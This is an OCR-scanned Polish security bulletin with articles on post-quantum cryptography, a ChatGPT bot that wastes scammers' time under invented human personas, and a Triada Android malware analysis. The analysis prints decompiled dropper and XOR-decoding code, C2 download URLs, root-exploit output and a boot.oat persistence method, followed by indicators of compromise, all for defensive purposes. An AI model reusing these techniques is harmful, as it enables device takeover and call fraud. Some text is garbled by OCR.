Quantum Machine Learning: komputery kwantowe umozliwig
ulepszenie algorytmow uczenia maszynowego i rozwgj
nowych modeli sztucznej inteligenciji.

Kryptografia kwantowa: komputery kwantowe zwigksza
bezpieczenstwo komunikacji i danych, umozliwiajac rozwoj
nowych protokotdéw kryptograficznych. W tym obszarze
rozwoj nowych protokotdéw moze zostaé niemal wymuszony,
gdyz komputery kwantowe beda miaty mozliwosé
przetamywania rozwigzan kryptograficznych uznawanych
obecnie za bezpieczne.

Podstawowy scenariusz wykorzystania technologii
przetwarzania kwantowego w takich branzach jak farmacja,
produkcja chemiczna, czy logistyka obejmuje usprawnienia

w obszarze prac badawczo-rozwojowych, produkcji oraz
optymalizaciji taicuchéw dostaw. W przypadku sektora
finansowego korzysci zwigzane z wykorzystaniem przetwarzania
kwantowego dotycza m.in. zarzadzania portfelem i ryzykiem
finansowym, czy modelowania i analiz ekonomicznych
pozwalajac na kompleksowg optymalizacje proceséw.

Najbardziej uzalezniona od mozliwosci wykonywania
szybkich ztozonych obliczen jest (obok zadan zwigzanych

z modelowaniem oraz optymalizacjg) wspétczesna
kryptografia. Od wielu lat trwa wyscig, ktéry z jednej strony
pokazuje moc superkomputerdw, a z drugiej skutki ich
stosowania. Tymi skutkami sg kroczace zmiany w parametrach
(np. kluczach) algorytméw kryptograficznych jak i samej
kryptografii. Nie trudno sobie zatem wyobrazi¢, co moze

sie wydarzy¢, gdy uzyskamy mozliwo$¢ odszyfrowywania
wszystkich obecnie zaszyfrowanych informacji w czasie r
zeczywistym. Taki wtasnie potencjat tamania wspotczesnych
kluczy kryptograficznych dadzg nam komputery kwantowe.

Umiejetnos$¢ znalezienia prywatnego klucza RSA z klucza
publicznego przy pomocy komputera kwantowego stanowi
powazne zagrozenie dla cyberbezpieczenstwa.

Szyfrowanie RSA

Jest to rodzaj szyfrowania
asymetrycznego, ktore
uzywa dwdch kluczy: klucza
publicznego i klucza
prywatnego. Klucz publiczny

mozna udostepni¢ kazdemu,

ale klucz prywatny musi by¢ utrzymywany

w tajemnicy. Sa one matematycznie spokrewnione,
ale bardzo trudno jest znalez¢ klucz prywatny

z klucza publicznego. Szyfrowanie RSA
wykorzystuje duze liczby pierwsze

do generowania kluczy.

Szyfrowanie RSA wykorzystuje klucze o diugosci
2048 lub 4096 bitow. Sa to liczby, ktore maja

2048 lub 4096 cyfry binarne (0 lub 1). Sa tak duze,
Ze potrzeba miliardow lat, aby klasyczny komputer
je uwzglednit, dlatego ta metoda jest bardzo
bezpieczna i szeroko stosowana

w zabezpieczeniach online.

Zadanie ztamania szyfrowania RSA opiera sie

na faktoringu duzych liczb. Komputery kwantowe
moga ztama¢ szyfrowanie RSA znajdujac gtéwne
czynniki numeru kompozytowego, ktory jest uzywany
do generowania kluczy publicznych i prywatnych.
Gdy czynniki pierwsze sa znane, klucz prywatny
mozna tatwo obliczy¢ na podstawie klucza
publicznego, a zaszyfrowane wiadomosci mozna
odszyfrowaé. Komputery kwantowe moga uzywac
algorytmu kwantowego, zwanego algorytmem Shora,
aby szybciej niz klasyczne komputery wyznaczac¢
duze liczby. Algorytm Shora moze oblicza¢ duza
liczbe w czasie wielomianowym, co oznacza, ze czas
potrzebny na uwzglednienie liczby rosnie stosunkowo
powoli, gdy liczba staje sie wieksza. Z kolei najlepsze
klasyczne algorytmy faktoringu sa wyktadnicze,

CO0 0znacza, ze czas potrzebny na obliczenie liczby
rosnie bardzo szybko, gdy staje sie ona wieksza.
Mozna ztama¢ szyfrowanie RSA znajdujac klucz
prywatny z klucza publicznego, wymaga to jednak
komputera kwantowego z wieloma kubitami

i niskimi btedami.

Obliczono, ze do ztamania 2048 klucza RSA potrzeba
komputera z 372 kubitami. Tak duza liczba kubitow
stanowi niemate wyzwanie technologiczne
(utrzymanie stabilnosci systemu), a kazde
zwiekszenie liczby kubitow to wyktadnicze
skomplikowanie systemu.

Patrzgc na obecne pryncypia cyberbezpieczenstwa,

niemal we wszystkich elementach dotyczacych atrybutow
poufnosci, integralnosci czy niezaprzeczalnosci danych,
mamy do czynienia z kryptografig i zazwyczaj gdzie$

»po drodze” stykamy sie z uzyciem algorytmu RSA.
Powszechnie przyjeto, ze szyfrowanie chroni transmisje
danych, dane w spoczynku, a takze jest sktadnikiem podpisu
elektronicznego. Swiadomo$é, Ze te zabezpieczenia, z ktdrych
szeroko korzystamy obecnie, z dnia na dzien przestang
funkcjonowac, sprawia, ze trzeba sie gteboko zastanowic,
jak podejscie do cyberbezpieczenstwa przyjaé w erze
postkwantowej.

Odpowiedzig na to wyzwanie jest kryptografia
postkwantowa (Post Quantum Cryptography), czasami
okreslana jako kwantowo-odporna lub kwantowa, ktora
jest opracowywaniem algorytméw kryptograficznych
(zwykle algorytmow klucza publicznego), uwazanych

za odporne na atak przez komputer kwantowy. Jeszcze

w 2023 roku komputery kwantowe nie miaty wystarczajacej
mocy obliczeniowej, aby ztama¢ szeroko stosowane
algorytmy kryptograficzne, jednakze kryptografowie
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projektuja juz nowe algorytmy przygotowujac
sie do Q-Day - dnia, w ktérym obecne algorytmy
beda podatne na tego typu ataki.

Badacze opracowujg nowe systemy/algorytmy
kryptograficzne, ktére moga oprzeé sie atakom
kwantowym. Te algorytmy sg zaprojektowane tak,
aby byly bezpieczne zaréwno przed komputerami
kwantowymi, jak i klasycznymi, zapewniajac ochrone
danych w przysztosci, gdy obliczenia kwantowe
beda powszechne.

Wiadze panstw i podmioty prywatne inwestuja znaczne
$rodki w badania majgce na celu rozwéj technologii
kryptograficznych odpornych na kwanty. Narodowy
Instytut Standaryzacji i Technologii (NIST) w Stanach
Zjednoczonych prowadzi wysitki majace na celu
standaryzacje algorytméw kryptografii postkwantowe;.
Takie inicjatywy sa kluczowe dla przygotowania
infrastruktury cyberbezpieczenstwa

na ere kwantowa.

W grudniu 2022 roku Kongres Stanéw Zjednoczonych
uchwalit ustawe zachecajaca agencije federalne

do przyjecia kryptografii odpornej na kwanty.

Niektore algorytmy obliczerh kwantowych (QC)

sg juz wykorzystywane przez firmy takie jak Amazon
Web Services (AWS), Cloudflare, czy IBM. 10 sierpnia
2023 roku Projekt Chromium wigczyt hybrydowy algorytm
kryptograficzny (X25519Kyber768) dla Chrome i ustug
serwerowych Google. Z perspektywy bezpieczenstwa
organizacyjnego ruch Google stanowi pierwsza
prawdziwg okazje dla uzytkownikéw do korzystania

z kryptografii kwantowej (PQC) dla HTTPS. Celem
tych dziatan jest pomoc organizacjom na catym
$wiecie w zabezpieczeniu danych przed przysztymi
zagrozeniami opartymi na obliczeniach kwantowych,
zapewniajgc jednoczesnie bezpieczenstwo

przed dzisiejszymi zagrozeniami kryptograficznymi.

Warto jednak rozumie¢, ze komputery kwantowe
to nie tylko zagrozenie dla cyberbezpieczenstwa
- to takze szansa, aby byto ono lepsze, szybsze
oraz bardziej precyzyjne. W tym zakresie mozna
wskazac¢ takie zadania jak:

Ulepszona detekcja cyberzagrozen: Przetwarzanie
kwantowe oferuje ulepszone mozliwosci detekciji
zagrozen cybernetycznych. Dzieki szybkiemu
przetwarzaniu ogromnych ilosci danych, komputery
kwantowe moga bardziej efektywnie wykrywaé
skomplikowane zagrozenia cybernetyczne niz
komputery klasyczne, poprawiajgc ogdine

$rodki cyberbezpieczenstwa.

Bezpieczne komunikacja: Przetwarzanie kwantowe
wprowadza koncepcje rozproszenia klucza kwantowego
(QKD - Quantum Key Distribution), zapewniajaca
bezpieczenstwo kanatdw komunikacyjnych. QKD
umozliwia dwém stronom wytworzenie wspdlnego
losowego tajnego klucza znanego tylko im, ktory

moze by¢ nastepnie uzyty do szyfrowania

i odszyfrowania wiadomosci. Dzieki zastosowaniu
superpozycji kwantowych oraz kwantowego splatania

i przekazywania informacji w stanach kwantowych,
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Wyzwania w kwantowym
cyberbezpieczenstwie

= Przejscie do kryptografii postkwantowej:
Przejscie do kryptografii postkwantowej to istotne
wyzwanie dla organizacji na catym Swiecie. Wymaga to
modernizacji istniejgcych systeméw kryptograficznych,
co jest zarébwno czasochtonne, jak i kosztowne.

Skalowalnosé i dostepnosé: Obecnie technologia
przetwarzania kwantowego nie jest powszechnie
dostepna z powodu wysokiego kosztu i ztozonosci,

CO ogranicza jej natychmiastowe zastosowanie

W cyberbezpieczenstwie. To z kolei sprawi, ze przejécie
do swiata komputeréw kwantowych bedzie odbywato sie
nieréwnomiernie: bogate panstwa, duze firmy i organizacije
zyskajg znaczacg przewage nad mniejszymi

i biedniejszymi. Wykorzystanie komputeréw kwantowych
moze stanowi¢ zrodto nowego rodzaju cyberzagrozen,
ktére bedg prowadzi¢ do nowych rodzajow atakéw,
zaostrzenia sie cyberkonfliktdw lub gospodarczego
uzaleznienia od wiekszych monopolistycznych
podmiotow i krajow. Wejscia w Swiat kryptografii
postkwantowej nalezy dokonac tak szybko jak to mozliwe,
by nie pasé¢ tupem tych, ktérzy potencjat technologii
kwantowych pozyskaja w pierwszej kolejnosci.

Badania i rozwoj: Konieczne sg obszerne badania,
aby opracowac praktyczne i skalowalne systemy
kryptograficzne odporne na kwanty

oraz wykorzystaé petny potencjat

technologii kwantowych

w cyberbezpieczenstwie. r 1

L -

Obliczenia kwantowe sg nadal na wczesnym etapie,

a na wiele pytan nie ma jeszcze odpowiedzi, jednakze szybki
postep w tej dziedzinie, w potaczeniu ze znaczgcymi
naktadami finansowymi, wskazuje, ze technologia ta ma
potencjat do zrewolucjonizowania réznych obszaréw naszego
zycia. Nagtasniane obecnie potencjalne korzysci z obliczen
kwantowych, takie jak koniec kryptografii, chwilowy rozwdj
cudownych lekéw i odwrdcenie zmian klimatu, sg wcigz
pewna perspektywa (by¢ moze jeszcze odlegty), jednak
kazdy dzien przybliza nas do duzej zmiany technologiczne;.

Wchodzac w ere komputeréw kwantowych, caty Swiat
technologii informatycznych bedzie musiat zaczgé pracowaé
z koncepcjami kwantowego IT oraz post-kwantowego
cyberbezpieczenstwa.

Ireneusz Tarnowski

W $wiecie coraz bardziej zagrozonym przez zaawansowane
cyberataki, czesto zapominamy o starych i dobrze znanych
metodach. One wciaz dziatajg, a tzw. nigeryjski szwindel
ma sie dobrze. Co gdyby sprébowac pokrzyzowacé plany
przestepcom i wykorzystaé sztuczng inteligencje w sposéb
nieoczywisty, ktory w dos¢ zabawny sposdb zademonstruje
jej mozliwosci przy automatyzacji czasochtonnych zaje¢?
W tym artykule omowie przypadek, ktoéry pokazuje
skuteczno$¢ i potencjalne korzysci ptynace z realizacji
takich rozwigzan.

Wyobraz sobie, ze najbardziej zuchwali spamerzy,
zwtaszcza ci wykorzystujgcy inzynierie spoteczng

do oszukiwania internautéw, zostajg przechytrzeni.
Plan jest prosty: zaangazowac¢ oszustéw w sposob,
ktory pochtania ich najcenniejszy zaséb — czas. Kiedy
beda zajeci rozmowami z nami nie bedg go mieli

na oszukiwanie swoich ofiar.

W tym celu stworzytem dos$¢ rozbudowang aplikacje,
ktdérg zaprezentowatem po raz pierwszy na konferencji
Confidence 2023 w Krakowie.

Przeczytajcie z czego ztozony jest ten system.

Podréz zaczyna sie od zbierania spamowych maili.

Kazdy dostaje ich olbrzymie ilosci, wiec wydaje sie,

ze nie ma w tym dziataniu niczego trudnego. To mylne
wrazenie. Zgromadzenie znacznej ilosci spamu nie jest
prostym zadaniem. Dlaczego? Bo moim celem jest zebranie
setek tysiecy unikalnych wiadomosci... dziennie.

Na szczescie mam dostep do kilku duzych spam trapéw

i to wykorzystuje w tym projekcie. Wszystkie pobrane
wiadomosci ze spam trapéw - po przetworzeniu na wiasciwy
format, zapisywane sg w centralnej bazie danych.

Wiadomo, ze nie wszystkie spamowe maile sg takie
same. Niektére to tylko reklamy i nie warto na nie
odpowiadaé. Zeby odréznié maile z oszustwami

od zwyktego spamu nalezatoby te wszystkie wiadomosci
przeczytaé, co przy skali i ilosci wiadomosci

jest niemozliwe.

Z pomoca przychodzi uczenie maszynowe.

Model szkolony na ogromnym zbiorze maili pomaga

w wytawianiu oszukanczych wiadomosci, na ktoére
warto odpowiedzie¢. To rozwigzanie nie jest idealne,
jednak w 100% wystarczajace. Filtrowanie realizowane
jest w taki sposob, zeby zminimalizowaé ilo$¢

»false positive” — czyli maili, na ktére odpowiadacé
nie warto, a mimo to tak zostaty zaklasyfikowane.

Aby odpowiedzie¢ na duzg ilo$¢ spamu, uruchomienie
automatycznego systemu wymaga duzej liczby kont
mailowych. Gdyby caty czas uzywac tego samego
konta e-mail to oszusci, mogliby nabra¢ podejrzen.
Dlatego czesto potrzebna jest masowa kreacja skrzynek
mailowych. Rozwigzanie? Domeny z wtasnymi
serwerami mailowymi, ktére umozliwiajg tworzenie
niezliczonych adreséw poczty elektronicznej.

Jego rdzeniem jest logika obstugujaca wiadomosci
mailowe. Zostata ona napisana w Pythonie i zintegrowana
z API ChatGPT. Gdy wiadomos$¢ zostanie pobrana

ze spam trapa, a nastepnie zaklasyfikowana jako warta
uwagi, system tworzy unikalng tozsamos¢ ‘trolla’

i rozpoczyna konwersacje z oszustem.

Kazdy troll jest inny, z wtasnym imieniem, wiekiem,
danymi teleadresowymi, narodowoscig, a nawet stylem
pisania czy poczuciem humoru. Oprécz tego mozemy
poprosi¢ ChatGPT, zeby odpowiadajgc zaczat trollowad.
Ta réznorodnos$¢ zapewnia, ze kazda interakcja

jest unikalna i angazujaca, co jest utrudnieniem

dla oszustéw.

System kwalifikuje $rednio 500 wiadomosci dziennie
jako proby oszustwa. Aplikacja byta tworzona z mysla

o mozliwosci skalowania, a testy pokazaty, ze moze
obstuzy¢ nawet wielokrotny wzrost ilosci obstugiwanych
korespondenciji. Gdybym miat dostep do catego spamu
Swiata nic nie statoby na przeszkodzie, zeby aplikacja
korespondowata z kazdym oszustem na Swiecie.

System symuluje ludzkie zachowanie i bierze pod uwage
nawet strefy czasowe, rozmawia z oszustami tak jak
robitby to cztowiek. Trolle nie odpisuja na wiadomosci
natychmiast, nie odpisujg tez w srodku nocy. Zdarza sie
tez, ze proponujg oszustowi przejscie z jezyka angielskiego
(wiekszos¢ spamu jest po angielsku) na swoj jezyk
ojczysty (np. polski czy chorwacki) co wymusza

na oszuscie dodatkowa strate czasu spowodowang
korzystaniem z translatora i zastanawianiem sie

0 co chodzito nadawcy.
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Oszusci podszywajg sie pod stawne osoby, zwyciezcéw
loterii, kluby sportowe, spadkobiercow, cztonkdw rodzin
krélewskich, ogranicza ich tu tylko wyobraznia.
Najdtuzsza wymiana wiadomosci to ponad 60 maili

(po polskul) z fatszywym Giorgio Armanim.

Oszust odpowiadat na kazdg wiadomos¢ trolla, ktory
zachowywat sie dos¢ niestandardowo. Polegato to m.in.
na odpowiadaniu nie na temat, szczegétowe dopytywanie
o wszystkie kwestie, oraz ciggtym obiecywaniu,

ze za chwile oszust otrzyma pienigdze, pod warunkiem,
ze odpowie jeszcze na jedno pytanie.

Takie komplikowanie i wychodzenie poza schemat
zmusza oszusta do poswiecenia znacznej ilosci czasu.
Celem jest zawsze utrzymanie oszusta w napieciu,
poprzez ciagle wymyslanie nowych wymoéwek,

aby op6zni¢ spetnienie jego présb.

Oszukanczy schemat

Strategia oszustéw opiera sie gtéwnie na elemencie
zaskoczenia i pokusie fatwych pieniedzy. Wymyslajg
ztozone historie, czesto uzywaja przekonujacego jezyka
i sfatszowanych dokumentéw, aby nada¢ wiarygodnosc¢
swoim twierdzeniom. Te oszustwa nie ograniczaja

sie tylko do maili, ale ewoluowaty réwniez do
wykonywania rozméw telefonicznych, wiadomosci

w mediach spotecznosciowych, a nawet fatszywych

stron internetowych. Kluczem jest tu zawsze wykorzystanie

ludzkich emocji i cech — materializmu, wspdtczucia
lub checi niesienia pomocy. Wazne jest, aby pozosta¢

czujnym i sceptycznym wobec wszelkich niespodziewanych

komunikatow obiecujacych nieoczekiwane zyski.
Jedynym ograniczeniem tych oszustw jest
wyobraznia oszusta.

Mowa o oszustwie zwanym nigeryjskim szwindlem
lub tez ,,419 scam” lub ,Advance-fee scam”

Zazwyczaj juz w pierwszej wiadomosci oszust obiecuje
niebotyczne zyski. Kolejne wiadomosci starajg sie
uwiarygodnic¢ cata historie, oszusci kontaktuja nas
z fatszywymi prawnikami, bankowcami, politykami
czy notariuszami, od nich przewaznie otrzymujemy
sfatszowane dokumenty $wiadczace o tym,

ze pienigdze nam sie naleza. Kiedy wszystko

jest juz rzekomo gotowe, oszusci proszg

o symboliczng kwote, potrzebng do zrealizowania
przelewu pieniedzy. W przypadku wspomnianego
Armaniego ofiara mamiona jest obietnica
otrzymania 25 milionéw dolaréw darowizny

dla kilku wylosowanych ,dobrych i bogobojnych
ludzi”. Niestety przelew tak ogromnej kwoty,

wigze sie z optatg 700 dolaréw, ktéra

ma by¢ zaptacona za posrednictwem

Western Union.
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Cos wiecej niz dobra zabawa

Poza sprawdzeniem technicznych mozliwosci
automatyzacji z uzyciem ChatGPT, ten projekt

stuzy szerszemu celowi. Kazda minuta, ktorg oszust
spedza czytajgc i odpisujac na nasze automatycznie
generowane maile to minuta, kiedy nie oszukuje kogo$
innego. Licze, ze przez zwiekszong frustracje

i zmniejszong optacalnosé, ci cyberprzestepcy
ostatecznie porzuca swoje praktyki.

Ponadto kazda wiadomo$¢ od oszusta byta
automatycznie zgtaszana do operatora poczty
na skrzynke abuse@. Jezeli skrzynki pocztowe
oszustéwbeda blokowane po kazdej wystanej
oszukanczej wiadomosci, nie tylko stracg oni
czas na zaktadanie nowych, ale réwniez kontakt
ze swoimi ofiarami.

To studium przypadku pokazuje potencjat Al

i automatyzacji w przeksztatcaniu pracochtonnych
zadan w cos, na co nikt nie miatby czasu w co$
co dzieje sie samoistnie bez udziatu cztowieka.

Piotr Zarzycki

ony. Triada na polskich urzadzeniach

Samodzwonigce

Samodzwonigce telefony.
Triada na polskich urzadzeniach

Dziwne potaczenia

Pod koniec roku 2023 informowali$my o wykryciu fraudowych

potaczen naszych klientdw i zwigzanego z nimi malware’u.
Zaczeto sie standardowo, od nabicia klientowi pokaznych
kosztéw za potaczenia - oczywiscie zagraniczne - do takich
krajow jak Motdawia, Maroko czy Albania. Na szczeScie juz
na etapie analizy ruchu sieciowego znacznie ograniczylismy

te potaczenia, a telefony okazaly sie (z nielicznymi wyjatkami)

modelami ,wiekowymi” i niszowymi. Nalezy nadmienié,

ze ofiarg malware padty nie tylko telefony, a wsrdéd przejetych

urzadzen znalez¢ mozna takze smartTV. Dzieki uzyczeniu
telefonu przez osobe poszkodowang (bardzo dziekujemy!)
byliémy w stanie przyjrze¢ sie wnikliwiej catej sprawie.

Podejrzana aplikacja

Po dekompilacji aplikacji ,,com.bbgbar.browser.test”

na pierwszy rzut oka w kodzie nie wida¢ szkodliwych
funkcji. W zasobach mozna znalez¢ prosty plik ,,aauj.png”,
ktory catkiem niezle udaje obrazek (nie ma problemu

z wyswietlaniem zawartosci):

= Resources
assets
~ aauj .png
META-INF
L FFRT RSA

Jednak po zagtebieniu w kod widaé, ze aplikacja
przeprowadza na ,obrazku” jakie$ operacje:

public static void a (String str, String str2) {
byte[] d = d (str);
int length = d.length - 4;
int i = (d[length] & 255) | ( (d[length + 1] & 255) <<
8) | ( (d[length + 2] & 255) << 16) | ( (d[length + 3] &
255) << 24);
int length2 = d.length - 4;
byte[] bArr = new byte[length2 - i];
for (int i2 = i; i2 < length2; i2++) {
bArr[i2 - i] = d[i2];
}
try {
FileOutputStream fileOutputStream = new FileOutputStream
(new File (str2));
fileOutputStream.write (bArr);
fileOutputStream.close ();
} catch (Exception e) {
e.printStackTrace ();
}
}

Aplikacja wczytuje plik, a nastepnie wycigga ostatnie
4 bajty, by okresli¢ poczatek danych w pliku. W tym przypadku
ostatnimi 4 bajtami sg 21 0A 00 00:

6 B7 DC

A 6A 6F

3 01 13
66 64

A 00 [0

zatem zgodnie z poprzednim listingiem kodu, poczatek zaczyna
sieod 21| (0A << 8)=21]|A00 = A21. Ponizej zaznaczony
jest obszar, od ktérego nastepuje odczytywanie:

.2.zolmf~ng.6.0y
0000QA30 7JA T7A B6A BF 64 64 62 74 63 6A 6B 74 65 6B 67 OE zzjoddbtcjktekg.
00000A40 ©C 1B 02 1A @7 05 58 15 @8 5C 54 43 9A B3 7TA7A ...... X \TC.c2Z2
000OOAS0 D6 D4 63 30 31 BF B4 6D 11 37 77 4F 53 4B C7 7B ..c@l..m.7wOSK.{
00000A60 75 58 4C 1A 32 26 27 C1 44 CC 2F 2C 6A 7E 68 66 wuXL.2§8".D./,j~hf
00000A70 E@ BA F3 52 7E 2E 2F DC EC 3B 26 67 OC 6F 3B 39 ...R~./..;5g8.0;9
00000A8B0 39 3E 62 1D 2A 9D 62 45 4C F3 7F 4B 3C 55 1D 17 9>b.*.bEL..K<U..
00000A90 70 C8 41 95 9@ 86 DB 80 CA 97 B3 B2 36 A3 D0 11 p.A.........6...
00P00AAG ©D 90 8B E8 BE C2 C3 64 Db 53 CC 59 82 55 BE 37 . 0 reeld.S. Y. Ind
00000ABO DC 15 33 31 6@ 95 EA 16 64 20 5B 4@ 4F E1 58 22 ..31" ...d [@0.X"

o

dalej cata reszta odszyfrowywana jest prostym XORem
z kluczem ,,beykxmnvfgqgqgdyzzjoddbtcjkyeog”:

public final void a (String str, String str2) {
byte[] bArr;
byte[] a = a (str);
if (a == null) {
bArr = null;
} else {
byte[] bArr2 = new byte[a.length];
for (int i = 0; i < a.length; i++) {
byte b = a[i];
byte[] bArr3 = this.a; // beykxmnvfgqgqdyzzjoddbtcjkye-
og
bArr2[i] = (byte) (b * bArr3[i % bArr3.length]);
}
bArr = bArr2;
}
File file = new File (str2);
if (file.exists ()) {
file.delete ();
}
try {
FileOutputStream fileOutputStream = new FileOutputStream
(file) ;
fileOutputStream.write (bArr);
fileOutputStream.close ();
} catch (Exception e) {
e.printStackTrace ()
}
}

po odszyfrowaniu uzyskujemy plik jar (zip),
a w nim biblioteke .so na dwie architektury:
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Source code
Resources
libibjk.so-32
libibjk.so-64
[ Summary

a w niej kolejny plik jar zaszyfrowany xorem
z kluczem ,,beykxmnvfgqgqdyzzjoddbtcjkyeog”:

LEBRSEENRRYENRNEEEEGS

84

Triada jest rozbudowanym oprogramowaniem

i takich ekstrakcji jest tu naprawde sporo, wiele
tancuchéw znakowych jest zaobfuskowych XORem
(screen ponizej), rowniez w plikach jar, zapisywanych
w roznych lokalizacjach.

Output 8D0Dm:o
o5 k. con: 10080°

To jednak drobnostki, najistotniejsze wydaje sie co ztego
moze zrobi¢ opisywany ztosliwy kod. Jego cechy to m.in.:

- potrafi rootowac telefon (jesli oczywiscie jest niezatatany);

- dokonuje persystencji w systemie — usuniecie aplikacji
droppera (com.bbgbar.browser.test) nic nie da jesli
smartfon zostat pomysinie zrootowany;

- jest malwarem modularnym — w zaleznosci od potrzeb;
moze dociggnaé kolejne moduty, a z racji tego, ze ma
uprawnienia roota, jego mozliwosci sg nieograniczone
(od wysytania SMS-6w, czytania ich, po odbieranie
polecen tym kanatem, wykradanie danych
uwierzytelniajgcych, czy jak w naszym przypadku
- wykonywanie potgczen fraudowych).

Triada wysyta do CNC informacje o danym urzadzeniu

(m.in. model, wersja systemu, architektura) by w odpowiedzi
otrzymac ,,namiar” na odpowiednia paczke - plik cin — z kolej-
nym jarem i bin z exploitem, zaszyfrowane prostym XORem:

CERT Orange Polska

hxxp://aocar6.6iyw.com/cins/7f214f34f34974c5d93d1d9ad31cdcal.cin
hxxp://aocar6.6iyw.com/bins/4b7ea0c0db94e1ca80bca0598662a679.bin

W przypadku starszych urzadzen z procesorem Mediatek
bedzie to exploit na CVE-2020-0069. Podatnos$¢ ta wystepuje
w sterowniku kernela CMDQ i pozwala na zapis i odczyt
dowolnego adresu pamieci. W 2019 stworzono narzedzie
»mtk-su”, do szybkiego i tatwego wykorzystania tej podatnosci
i uzyskiwania uprawnien roota.

Testowana probka pobiera wiele narzedzi z serweréw CNC,

w tym narzedzie ,mtk-su” (pod nazwa ,,jbo”). Proces rootowania
polega wyfgcznie na nadaniu plikowi praw do wykonania

i uruchomieniu go:

shell:/data/local/tmp $ id

uid=2000 (shell) gid=2000 (shell) groups=2000 (shell),1004 (input),1007
(log),1011 (adb),1015 (sdcard_rw),1028 (sdcard_r),3001 (net_bt_admin),3002
(net_bt),3003 (inet),3006 (net_bw_stats) context=u:r:shell:s0

shell:/data/local/tmp $ ./jbo

UID: 0 cap: 3fffffffff selinux: permissive
shell:/data/local/tmp # id

uid=0 (root) gid=0 (root) groups=0 (root) context=u:r:shell:s0

Android by zoptymalizowaé wykonanie aplikaciji
kompiluje je do postaci kodu natywnego (wczesniej
byty to pliki odex, ktére od wersji Lollipop zostaty
zastgpione przez ART — Android Runtime — z powodu
lepszej optymalizacji kodu generowanego pod dany
procesor). System zapisuje tak skompilowany kod

w katalogu ,,/data/dalvik-cache/”, co przy nastepnym
uruchomieniu aplikacji skutkuje uruchomieniem

bez koniecznosci kompilaciji. Android umieszcza tam
tez biblioteki frameworka z niezbednymi zaleznos$ciami.
Na przyktad plik gtéwny frameworka, znajdujgcy sie
w /system/framework/boot.oat, podczas pierwszego
uruchomienia kopiowany jest do ,dalvik-cache” jako
»System@framework@boot.oat”.

Malware wykorzystuje fakt, ze wystarczy nadpisac
lub edytowac ten plik, by osadzi¢ sie w systemie,
bez podmiany jakichkolwiek innych plikdw.

W paczce pobranej z serwera (plik .bin) oprdcz exploita
znajduije sie plik ,,CSKaitno.d”. Po uruchomieniu z poziomu
roota dokonuje on modyfikacji pliku system@framework@
boot.oat w katalogu ,/data/dalvik-cache/arm/” w taki
sposoéb, ze w nagtéwku (jest to plik ELF) pola ,,NEEDED”
(odpowiedzialnego za wskazanie biblioteki wymaganej

do uruchomienia binarki) dodaje wpis ze $ciezkg do
skopiowanego wczesniej ztosliwego pliku
»System@framework@boot-bridacco.oat”:

readelf -d system@framework@boot.oat | grep NEEDED
0x00000001 (NEEDED) Shared library: [/data/dal-

vik-cache/arm/system@framework@boot-bridacco.oat]

Plik ,,bridacco” taduje kolejny
- ,System@framework@boot-acco.oat”:

void init_bridge(void)

{
dlopen("/data/dalvik-cache/arm/system@framework@boot-acco.oat",1);
return;

}

W rezultacie docelowy ztosliwy plik

- system@framework@boot-acco.oat — zostanie zmapowany
do kazdego nowego ,androidowego” procesu i bedzie
wykonywany w jego kontekscie, nawet po restarcie systemu
i do momentu podmiany pliku system@framework@boot.oat
lub wyczyszczenia ,dalvik-cache”. Warto nadmienic,

ze wraz z kontekstem procesu, ztosliwa biblioteka nabiera
nie tylko jego UID, ale tez jego uprawnien - np. jako
com.android.phone jest w stanie wykonywac potgczenia,
wysytac, czyta¢ i usuwaé SMS-y.

Malware pobiera moduty z serwerdw zewnetrznych

i zapisuje je w swoich folderach roboczych (np. /sdcard/.
MLANdroid/ lub katalogu aplikacji z uprawnieniami, ktorej zostat
uruchomiony - np. /data/data/com.android.phonef/files/.data/)

w pliku z rozszerzeniem .md. Sg to zaszyfrowane pliki jar.
Szyfrowanie, jak w przypadku innych komponentéw, odbywa sie
za pomoca funkcji XOR, tym razem z dwoma kluczami.

Triada sprawdza jakim jest procesem:

/¥ com.android.phone */
pcVarl = (char *)_sf_cvsubb2(0x42);
ivar2 = strcmp (&DAT 0004680, pcVarl):
if (ivar2 == 0) {

/¥ com.androld.systemul */
icVarl = (char *)_sf_cvsubb2(0x5b);
iVar2 = strcmp (&DAT_00046180, pcVarl);
if (ivar2 == 0) {

}
/% com.android.vending */
icVarl = (char *)_sf_cvsubb2(0x5d);

i1Var2 = strcmp (&DAT_00046180,pcVarl);
if (ivarz == 0) {

DAT 000463bc = 5;
1

/% com.android.mms */

pcVarl = (char *)_sf_cvsubb2(0x5e);
1Var2 = strcmp (§DAT_00046180, pcVarl);
if (ivarz == 0) {

DAT 000463bc = 6;
1

/% com.android.settings */
pcVarl = (char *)_sf_cvsubb2(0x5f);
iVar2 = strcmp (8DAT 00046180, pcvarl);
if (ivar2 == 0) {
DAT_000463bc = 7;

/* com,facebook . katana */
pcVarl = (char *)_sf_cvsubb2(0x60);

Fmma—

Na tej podstawie malware dokonuje wyboru
odpowiedniego modutu, wysytajac przy tym informacje
z jakiej paczki zostaje uruchomiony:

A-Za-20-9+/= - MR abet Ost

Output

gfmiphewjxtaps ©  Standad O

vyxhrzpfargipp - Standard m}

Zainfekowane urzgdzenia tgcza dos¢ odlegty rok produkgii,

a w efekcie: nieaktualizowany system operacyjny i aplikacje.

W tej drugiej grupie jest przegladarka, ktéra tez moze by¢ kolejng
przyczyna infekgji. Triade znajdowaliSmy réwniez w telefonach
Gigaset, ktére padty ofiarg przejetych serwerdw aktualizaciji,

o ktérych informowali$my na naszej stronie. Zdarza sie tez tak,
ze dostawcy urzadzen we wspotpracy z przestepcami sami
dodajg takie oprogramowanie. Réwniez pozornie bezpieczne
aplikacje w Google Play moga okaza¢ sie ztosliwe, co miato juz
miejsce w przesztosci — dlatego tez musimy zwracac¢ uwage

na instalacje niszowych aplikacji. Wazne jest by mie¢ zawsze
aktualny system i aplikacje — w przypadku tej probki,
uniemozliwitoby to persystencije i dostep do roota, a zarazem
wykonywanie potgczen fraudowych.

loC
Pofgczenia:
*.g7e6.com
*.1g5k5w.com
216.118.228.253
*.98kk89.com
*.aaodp.com
* lvditoys.com
“.xjwib.com
*.gz94.com
*.wknzxy.com
*.taoshh.com
*.096p.com

Pliki i katalogi:
/data/dalvik-cache/arm/system@framework@boot-bridacco.oat
/data/dalvik-cache/arm/system@framework@boot-acco.oat
/data/dalvik-cache/arm64/system@framework@boot-bridacdo.oat
/data/dalvik-cache/arm64/system@framework@boot-acdo.oat
/sdcard/.MLAndroid/
/sdcard/.MLAndroid/426a5588c5110cd01d5af17e47adb22336.jmd
/sdcard/.MLAndroid/com.android.btcore.db
/data/misc/.MLAndroid/

/data/system/.MLAndroid/

/sdcard/.RTAndroid/

